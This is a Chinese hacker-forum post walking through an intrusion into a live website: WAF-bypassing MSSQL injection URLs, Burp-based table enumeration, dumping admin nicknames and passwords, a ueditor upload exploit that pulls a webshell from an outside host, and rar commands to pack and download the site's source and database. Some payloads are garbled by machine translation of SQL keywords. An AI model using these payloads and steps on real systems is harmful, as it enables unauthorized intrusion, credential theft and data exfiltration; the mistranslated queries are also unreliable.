跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

从SQL注入到整站打包与本地搭建

精选回复

发布于

## 1. 前言\r

\r

正如标题所说,由于是在知道有SQL注入之后才进行后续操作,所以前面的信息收集就简单说一下。 \r

\r

## 2.信息收集\r

\r

目标是本地传销网站。其大致信息是IIS+ASP.NET+安全狗和腾讯云。 \r

\r

## 3.绕过Sql\r

\r

### 3.1 模糊\r

````\r

空间\t\恐怖\r

加号\t\t未拦截\r

等号\t\terror\r

单引号\t\terror\r

双引号\t\t未拦截\r

双括号\t\t未拦截\r

+选择\t\恐怖\r

%0b选择\t未拦截\r

%0bselect%0buser%0bfrom\t未拦截\r

%0b从%0badmin选择%0buser%0b\t拦截\r

Convert()\t未拦截\r

````\r

根据上面的测试,我们可以看到程序本身也有过滤,error就是程序本身的过滤。可以利用IIS处理%符号的机制来绕过一些符号,比如%0b代表空格,%2b代表加号等。根据测试结果,可以先使用convert报错来获取一些信息。 \r

\r sql1.png

\r

\r

````\r

goodscontent.aspx?gid=convert(int,@@version)#版本信息\r

goodscontent.aspx?gid=convert(int,db_name())#数据库信息\r

goodscontent.aspx?gid=convert(int,user_name())#当前数据库用户\r

……\r

Tips:可以通过遍历db_name(1)\r中的数字来获取其他库名称

````\r

获取以下信息:\r

````\r

ASP.NET 版本:Microsoft .NET Framework 版本:4.0.30319; ASP.NET 版本:4.0.30319.36400\r

数据库版本:Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)\r

用户名:sa\r

计算机名称:10_*_76_*\\SQLEXPRESS 10.*.76.*\r

当前库:pan20170823\r

所有库名称:\r

潘20170823\r

主控\r

临时数据库\r

型号\r

msdb\r

报表服务器$SQLEXPRESS\r

报表服务器$SQLEXPRESSTempDB\r

````\r

下一步是获取表信息\r

````\r

Goodscontent.aspx?gid=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT%0btop%0b1%0bCAST(COUNT(*)%0 bAS%0bnvarchar(4000))%0bFROM%0binformation_schema.TABLES%0b)%2bCHAR(58)%2bCHAR(58)))#获取表总数\r

``\r sql2.png

\r

由于我只能简单地选择,所以我仍然无法获取表名。如果还有其他方法,请告诉我。 \r

\r sql3.png

\r

\r

### 3.2 虎标万金油\r

这时,我们陷入了僵局。后来想起404大佬写的一篇关于绕过安全狗的文章里提到,在mssql中添加注释和换行符也是有效的,所以就构造了。 \r

```sql\r

goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0btable_name%0bFROM%0binformation_schema.tables%0b)--%20*/\r

PS:在注入点已经使用convert进行数据转换,所以可以直接阻止后面的查询\r

````\r

获取第一个表名:jsrecord\r

\r sql4.png

\r

由于我仍然无法绕过单引号和等号,因此我仍然无法使用not in 和for xml 路径来填充后续的表名称。这就触及了我的知识盲点,所以我不得不查阅大量的文章案例,最终构造出以下的说法。 \r

````\r

/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b11%0btable_name%0bFROM%0binformation_schema.columns))--%20*/\r

``\r sql4.png

\r

这时只需要遍历top的值即可,例如:\r

````\r

/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b80%0btable_name%0bFROM%0binformation_schema.columns))--%20*/\r

``\r sql5.png

\r

\r

通过不断遍历数值,发现还是有问题。例如,1-20、200-209、334-345 返回相同的表名。存在大量的重复和乱序,但是可以通过burp中的intruder-Grep-Extact函数解决。操作如下:\r

首先设置入侵者遍历001-600(超过600之后就没有内容了)\r

\r sql7.png

\r

\r sql8.png

\r

然后使用Grep-Extact 提取表名。 \r

\r sql9.png

\r

\r sql10.png

\r

\r sql11.png

\r

只需保存结果并删除重复项即可。 \r

\r sql12.png

\r

与之前得到的表总数一致。 \r

\r

解决办法是获取memberadmin表中的列名和内容,但在此之前我习惯性的查看后台网页的源码。 \r

\r sql13.png

\r

\r

如图,盲猜列名txt_nickname,nickname,txt_password,password\r

````\r

/goodscontent.aspx?gid=--/*%0a(从%0bmemberadmin中选择%0btop%0b1%0b昵称%0b)--%20*/\r

``\r sql14.png

\r

\r

````\r

/goodscontent.aspx?gid=--/*%0a(从%0bmemberadmin中选择%0btop%0b1%0b密码%0b)--%20*/\r

````\r sql15.png

\r

\r

## 4.后台getshell\r

登录后台\r

\r sql16.png

\r

经过测试,发现信息管理处可以发出咨询并上传图片。通过修改去掉filename=\'1.aspx\'中的双引号,可以绕过安全狗,但无法绕过程序本身的检测。 \r

````\r

Content-Disposition: 表单数据; name='up_picture';文件名=xss.jpg .aspx\r

````\r

不过了解到上传组件是ueditor,net版本存在上传漏洞\r

poc如下\r

```html\r

\r

````\r

并在自己的服务器上准备一个shell(注意狗),命名为a.gif,然后填写shell地址\r

````\r

https://o0o0.club/a.gif?aspx\r

````\r sql17.png

\r

提交后可以获取shell路径\r

\r

## 5.打包源码和数据库\r

有了shell之后,需要做的事情就变得更加清晰了,就是对源码和数据库进行打包。由于只需要这两个操作,因此不需要太多的权限,避免因操作不当而触发警告。因此,我选择先通过shell进行打包操作。 \r sql18.png

\r sql19.png

\r

\r

\r

### 源代码\r

这里我们使用自行上传的rar.exe对源码进行分卷打包。之前尝试过7z.exe(目标服务器上已经安装)和makecab,但是效果不太理想,姿势不够。我还是希望能普及一下。 \r

````\r

rar.exe a -r -v50m -m5 pan20170823 *.*\r

#a 压缩\r

#-r 打包子目录\r

#-v 卷大小\r

#-m 压缩级别\r

#pan20170823目标目录\r

#*.* 打包后的文件名为pan20170823.part*.rar\r

````\r

最终以每秒100k的速度完成下载。 \r sql20.png

\r

\r

### 数据库\r

跳过吧,后台有自带备份功能\r

陷阱:后台备份文件的后缀是zip。下载的时候总是提示文件损坏。一直以为是备份功能有问题,后来发现文件头是TAPE。 \r

\r

## 6.本地构建\r

本地搭建的环境是Windows server 2012+IIS8+SQL Server 2008,简单说一下0.0\r

##SQL 服务器\r

*跳过安装过程\r

* 导入数据\r

\r

创建新数据库,然后通过原设备恢复数据\r

\r sql21.png

\r

\r sql22.png

\r

\r

恢复成功\r

\r sql23.png

\r

\r

## IIS 和ASP.NET\r

\r

安装很简单,填左边就行了,简单粗暴\r

\r sql24.png

\r

\r sql25.png

\r

\r

添加站点\r

\r sql补充.png

\r

\r

最好和目标版本对应\r

\r sql26.png

\r

\r

修改源码中的配置文件\r

\r sql27.png

\r

\r

访问\r

\r sql28.png

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。